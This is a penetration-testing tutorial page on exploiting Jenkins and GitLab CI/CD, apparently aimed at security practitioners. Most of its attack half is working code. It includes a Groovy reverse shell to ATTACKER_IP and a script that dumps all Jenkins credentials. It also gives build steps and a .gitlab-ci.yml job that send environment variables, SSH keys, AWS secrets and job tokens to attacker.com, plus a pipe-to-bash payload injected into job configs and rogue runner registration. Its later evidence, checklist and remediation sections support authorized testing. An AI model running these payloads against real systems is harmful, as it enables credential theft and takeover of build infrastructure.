Jenkins & GitLab Exploitation
Jenkins and GitLab are enterprise CI/CD workhorses. Their power makes them high-value targets - access often means credentials to everything.
Jenkins Exploitation
Jenkins runs ~50% of enterprise CI/CD. It's Java-based with Groovy scripting - admin access = immediate RCE.
Script Console RCE
High Impact
/script executes arbitrary Groovy. Admin access = immediate server compromise. Many instances leave this exposed.
// ===== LINUX REVERSE SHELL =====
String host = "ATTACKER_IP";
int port = 4444;
String cmd = "/bin/bash";
Process p = new ProcessBuilder(cmd, "-i").redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0) so.write(pi.read());
while (pe.available() > 0) so.write(pe.read());
while (si.available() > 0) po.write(si.read());
so.flush(); po.flush(); Thread.sleep(50);
}
p.destroy(); s.close();
// ===== WINDOWS REVERSE SHELL =====
String host = "ATTACKER_IP";
int port = 4444;
String cmd = "cmd.exe";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
// ... same streaming code ...
// ===== COMMAND EXECUTION (simpler) =====
def cmd = "whoami".execute();
println cmd.text
def cmd2 = ["cat", "/etc/passwd"].execute();
println cmd2.text
// ===== READ FILES =====
new File("/etc/passwd").text
new File("C:\\Users\\Administrator\\Desktop\\flag.txt").textCredential Extraction
Jenkins stores credentials encrypted. With file access, you can decrypt them:
# FILES YOU NEED (usually in /var/lib/jenkins or JENKINS_HOME):
# 1. secrets/master.key
# 2. secrets/hudson.util.Secret
# 3. credentials.xml (or jobs/*/config.xml for job-specific creds)
# === METHOD 1: Via Script Console (if you have access) ===
println(hudson.util.Secret.decrypt("{AQAAABAAAAAQd...}"))
# Or dump ALL credentials:
import jenkins.model.*
import com.cloudbees.plugins.credentials.*
def creds = CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.common.StandardCredentials.class,
Jenkins.instance,
null,
null
);
for (c in creds) {
println(c.id + " : " + c.description)
if (c instanceof com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl) {
println(" Username: " + c.username)
println(" Password: " + c.password.getPlainText())
}
}
# === METHOD 2: Offline with files ===
# Use jenkins-credentials-decryptor:
python3 jenkins_credentials_decryptor.py -m master.key -s hudson.util.Secret -c credentials.xmlJenkins Enumeration
# Check if Jenkins is running
curl -s http://target:8080 | grep -i jenkins
# Check for unauthenticated access
curl -s http://target:8080/script
curl -s http://target:8080/asynchPeople/
# API endpoints (may leak info)
curl -s http://target:8080/api/json?pretty=true
curl -s http://target:8080/computer/api/json?pretty=true
# List all jobs
curl -s http://target:8080/api/json?tree=jobs[name,url]
# Get build console output (secrets often leaked here)
curl -s http://target:8080/job/JobName/lastBuild/consoleText
# Check for vulnerable plugins
curl -s http://target:8080/pluginManager/api/json?depth=1
# Common credential locations
/var/lib/jenkins/secrets/
/var/lib/jenkins/credentials.xml
/var/lib/jenkins/users/*/config.xml
C:\Program Files\Jenkins\secrets\
C:\ProgramData\Jenkins\.jenkins\Build Job Manipulation
# If you can modify job configs (via UI, API, or file access):
# 1. Add malicious build step
# In job config, add Execute Shell:
curl -X POST -d "$(env)" https://attacker.com/collect
cat ~/.ssh/id_rsa | base64 | curl -X POST -d @- https://attacker.com/key
# 2. Via API (requires authentication)
# Get current config
curl -u user:token http://jenkins/job/JobName/config.xml -o config.xml
# Modify config.xml, add to <builders>:
<hudson.tasks.Shell>
<command>curl attacker.com/shell.sh | bash</command>
</hudson.tasks.Shell>
# Upload modified config
curl -X POST -u user:token http://jenkins/job/JobName/config.xml --data-binary @config.xmlGitLab CI/CD Exploitation
GitLab combines SCM + CI/CD. Runners execute jobs - compromise them for secrets, code, and network access.
CI Variable Extraction
# .gitlab-ci.yml - add to any job to exfil secrets:
stages:
- build
steal_secrets:
stage: build
script:
# Dump all environment variables
- env | sort | curl -X POST -d @- https://attacker.com/env
# Target specific variables
- |
curl -X POST \
-d "aws_key=$AWS_ACCESS_KEY_ID" \
-d "aws_secret=$AWS_SECRET_ACCESS_KEY" \
-d "deploy_key=$DEPLOY_SSH_KEY" \
https://attacker.com/collect
# Grab CI_JOB_TOKEN (can clone other repos!)
- echo $CI_JOB_TOKEN | curl -X POST -d @- https://attacker.com/token
# Clone private repos using job token
- git clone https://gitlab-ci-token:$CI_JOB_TOKEN@gitlab.com/company/internal-repo.gitRogue Runner Registration
Persistence Technique
# Runner registration tokens are found in:
# - GitLab Admin > Runners (admin access)
# - Group/Project > CI/CD > Runners
# - Sometimes leaked in .gitlab-ci.yml or logs
# Register rogue runner
gitlab-runner register \
--url https://gitlab.target.com/ \
--registration-token LEAKED_TOKEN \
--executor shell \
--description "build-runner-02" \
--tag-list "docker,linux,build"
# Now ALL jobs with matching tags run on YOUR machine
# You see source code, environment variables, secrets...
# Check for existing runners (with access)
curl --header "PRIVATE-TOKEN: $TOKEN" \
"https://gitlab.target.com/api/v4/projects/:id/runners"GitLab API Enumeration
# Check version (important for CVE matching)
curl -s https://gitlab.target.com/api/v4/version
# List accessible projects
curl -s --header "PRIVATE-TOKEN: $TOKEN" \
"https://gitlab.target.com/api/v4/projects?membership=true"
# Get project variables (if maintainer+)
curl -s --header "PRIVATE-TOKEN: $TOKEN" \
"https://gitlab.target.com/api/v4/projects/:id/variables"
# List CI/CD pipelines
curl -s --header "PRIVATE-TOKEN: $TOKEN" \
"https://gitlab.target.com/api/v4/projects/:id/pipelines"
# Get job logs (secrets often leaked)
curl -s --header "PRIVATE-TOKEN: $TOKEN" \
"https://gitlab.target.com/api/v4/projects/:id/jobs/:job_id/trace"
# Find runner tokens in old pipelines
# Search for "registration_token" in job logsProtected Branch Bypass
# Protected branches restrict who can push
# But CI/CD often has elevated permissions...
# Method 1: Use CI_JOB_TOKEN to push (if permissions allow)
git remote set-url origin https://gitlab-ci-token:$CI_JOB_TOKEN@gitlab.com/repo.git
git push origin main # May bypass protections
# Method 2: Use Deploy Keys
# If SSH deploy key is in CI variables:
echo "$DEPLOY_SSH_KEY" > /tmp/key && chmod 600 /tmp/key
GIT_SSH_COMMAND="ssh -i /tmp/key" git push origin main
# Method 3: Abuse merge request approvals
# Create MR from feature branch (you control)
# CI passes, auto-merge kicks inTools
Real-World: SolarWinds SUNBURST (2020)
Jenkins & GitLab Attack Labs
Practice CI/CD pipeline exploitation in a safe environment.
📋 Framework Alignment
OWASP CI/CD: CICD-SEC-1 (Insufficient Flow Control), CICD-SEC-2 (Inadequate Identity & Access Mgmt) | MITRE ATT&CK: T1059.004 (Unix Shell), T1552.001 (Credentials In Files) | CIS Controls: 16.1 (Software Development Process), 6.1 (Access Control)
Evidence to Capture
On both platforms the artefact is a job definition plus a build record. Without the build number and the definition at that revision, the client cannot tell whether the exposure was a one-off run or the standing configuration.
Build identity: Jenkins job name with build number and permalink, or the GitLab project path with pipeline and job ID, so the run can be reopened exactly.
Version and plugin inventory:
The Jenkins version and the output of the pluginManager API, or the GitLab version from /api/v4/version. Several findings here exist only below a specific plugin version.
Endpoint authentication state:
Each endpoint you probed with its status and the account used: /script, /asynchPeople, /api/json, /computer/api/json. Anonymous read is a different finding from anonymous execute.
Execution proof: The Groovy or shell snippet and the console output that proves it ran, with any credential values replaced by a redaction marker before it leaves your notes.
Credential store layout:
Paths and permissions for secrets/master.key, hudson.util.Secret and credentials.xml, plus the credential IDs and descriptions that exist. Never the decrypted values.
Pipeline definition and scope:
For GitLab: .gitlab-ci.yml at the commit that ran, the variable keys with their protected and masked flags, and the runner description, tags and executor.
Likely False Positives
Both products are loud about what they expose and quiet about what they enforce. Check the enforcement layer before writing the finding.
-
Console exists but denies you:
A
/scriptendpoint returning 403 under a matrix authorization strategy is not RCE. Record the endpoint and the denial, and drop the impact claim. - Credentials readable but not decryptable: A credentials.xml you can read is ciphertext plus metadata. Without the master key the finding is file exposure, and the impact statement has to say so.
- Protected variables on a feature branch: A protected CI variable is only injected on protected refs. A job on a feature branch seeing an empty value is the control working, not failing.
- Masked values in job logs: Masking is redaction, not removal. A masked value in the trace is only a finding if you can reconstruct it, for example by splitting it across lines.
- Runner token already rotated: A registration token found in an old log or config that no longer authenticates is a hygiene note. Test the registration before claiming a rogue runner.
-
Push blocked by server-side rules:
A
CI_JOB_TOKENthat can clone but is rejected by protected-branch push rules has not bypassed protection, even though the clone succeeded.
Testing Checklist
Jenkins surface
- ☐ Version and full plugin list captured before testing anything
- ☐ Authorization strategy identified (matrix, role-based, LDAP group)
- ☐ Script console reachability tested per account, not per instance
- ☐ Agent list and labels reviewed for internal network position
- ☐ Credential IDs enumerated by type and scope
- ☐ Build retention policy checked so evidence still exists next week
GitLab surface
- ☐ Instance version recorded for CVE matching
- ☐ Protected branch and tag rules read, not assumed
- ☐ Variable scope recorded: instance, group, project, environment
- ☐ Runner registration and authentication mode distinguished
- ☐ Job token permissions reviewed (allowlist, not open by default)
- ☐ Merge request approval rules checked before claiming a bypass
Credential exposure
- ☐ Credential files located with their filesystem permissions
- ☐ Whether the master key is on the same host recorded
- ☐ Build logs searched for values that masking did not cover
- ☐ Deploy keys and SSH keys traced to the repositories they open
- ☐ Any cloud credential found tied back to a role you can name
- ☐ Rotation status confirmed with the owner before reporting theft
Remediation
Jenkins
- • Restrict the script console to a named admin group through matrix authorization, and audit that group quarterly rather than once.
- • Move credentials out of the controller: bind them as
withCredentialsblocks scoped to the step that needs them, and keep the master key on the controller only. - • Run builds on ephemeral agents that are destroyed after the job, so a poisoned job cannot inherit the next one.
- • Put the controller behind SSO with MFA and remove local accounts, then enable the audit trail plugin so script console use is logged with an actor.
GitLab
- • Mark every credential a variable and protect it, so it is injected only on protected refs, and enable masking as a second layer rather than the only one.
- • Use runner authentication tokens rather than registration tokens, and scope runners to the projects that need them instead of the whole instance.
- • Constrain
CI_JOB_TOKENwith an allowlist of destination projects, and keep push rights off the token entirely. - • Enable protected environments with approvals for anything that deploys, so a compromised maintainer account still needs a second person.
CWE References: CWE-94, CWE-522, CWE-269